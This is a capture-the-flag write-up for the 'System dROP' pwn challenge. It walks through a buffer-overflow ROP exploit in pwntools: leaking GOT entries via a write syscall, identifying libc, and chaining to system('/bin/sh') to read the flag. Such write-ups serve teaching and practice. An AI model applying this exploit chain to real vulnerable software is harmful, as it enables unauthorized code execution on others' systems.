Pwn - System dROP
The name of this challenge gives us a big hint. It's talking about a ROP. Unfortunately for the price of this hint we don't know which libc is being used, so returning on a specific function of the libc is going to be hard.
By analysing the binary we find a main function which does a buffer overflow and
then returns 1.
This is really useful because it means when we'll start the rop, 1 will be
loaded inside the rax
register.
And this is great because we can find a function named _syscall
that
finishes with a syscall
instruction then a ret
.
Because the rax
register will be set to 1
, we can do a write syscall.
This will allow us to leak got entries.
def leak_got(entry):
with log.progress("leaking got entry for %s" % entry) as progress:
progress.status("forging rop")
# Here we feed the overflow with garbage bytes until the return address.
rop = b"A" * 0x28
# Here we found a `pop rsi` instruction, followed by another `pop` and
# finished with `ret`.
# `rsi` is the second argument, so it's the address from where we want
# to leak data.
rop += p64(elf_rop.find_gadget(["pop rsi"]).address)
rop += p64(elf.got[entry])
rop += p64(0)
# Setting the length of the `write` is not necessary because we keep the
# length set for the read function.
# Then we return to the `syscall` instruction
rop += p64(0x0040053b)
# And finally we restart to the main function
rop += p64(elf.symbols["main"])
progress.status("sending rop")
conn.send(rop)
progress.status("computing leak address")
return u64(conn.recv(0x100)[:0x8])
Now that we can leak entries from the got table, we will leak two functions this way we can determine which libc is being used.
leak_main = leak_got("__libc_start_main")
leak_read = leak_got("read")
log.info("Leak __libc_start_main %x" % leak_main)
log.info("Leak read %x" % leak_read)
Once we've the address of __libc_start_main
and read
we can use a website
like libc.blukat.me to find the libc currenly used.
This gives us the following libc.
All we know need is to set its base address using symbols we leaked.
libc = ELF("libc6_2.27-3ubuntu1.4_amd64.so")
libc.address = leak_read - libc.symbols["read"]
Finally we'll retrieve a shell, for this a simple rop to load the "/bin/sh"
string inside the rdi
register and then return to the system function.
rop = b"A" * 0x28
rop += p64(elf_rop.find_gadget(['ret']).address)
rop += p64(elf_rop.find_gadget(["pop rdi", "ret"]).address)
rop += p64(next(libc.search(b"/bin/sh")))
rop += p64(libc.sym["system"])
rop += p64(libc.sym["exit"])
conn.send(rop)
Now that we have a shell, all we need is to cat the flag!
conn.sendline("cat flag.txt")
log.success(conn.recvlineS())